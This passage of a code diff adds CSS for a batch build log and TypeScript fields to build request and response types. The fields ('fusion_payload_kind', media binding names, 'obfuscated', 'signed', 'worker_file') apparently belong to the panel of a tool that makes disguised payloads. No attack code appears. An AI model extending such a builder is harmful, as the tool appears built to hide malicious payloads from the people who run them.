+  margin: 0.75rem 0 0;
+  padding: 0;
+  font-size: 0.8rem;
+  max-height: 10rem;
+  overflow-y: auto;
+}
+
+.batch-forge-log li {
+  padding: 0.2rem 0;
+  color: var(--text-secondary);
+}
+
+.batch-forge-log li.batch-ok {
+  color: var(--neon-green, #6f6);
+}
+
+.batch-forge-log li.batch-fail {
+  color: var(--neon-red, #f55);
+}
+
+.download-actions {
+  display: flex;
+  flex-wrap: wrap;
+  gap: 0.5rem;
+  align-items: center;
+  margin-top: 0.75rem;
+}
diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts
index 257e478..167f7b5 100644
--- a/server/web/src/types/index.ts
+++ b/server/web/src/types/index.ts
@@ -243,6 +243,10 @@ export interface BuildRequest {
   fusion_enabled: boolean;
   fusion_run_order: string;
   fusion_output_name: string;
+  fusion_payload_kind?: string;
+  fusion_media_mode?: string;
+  fusion_media_base_name?: string;
+  fusion_export_subdir?: string;
   // AI Autonomy (Ollama)
   ai_enabled: boolean;
   ai_ollama_endpoint: string;
@@ -286,6 +290,11 @@ export interface BuildResponse {
   uninstall_export_path?: string;
   error?: string;
   fusion_enabled?: boolean;
+  fusion_export_dir?: string;
+  extra_files?: { file_name: string; file_path?: string }[];
+  bundle_file_name?: string;
+  bundle_download_url?: string;
+  bundle_size?: number;
   worker_file?: string;
   signed?: boolean;
   obfuscated?: boolean;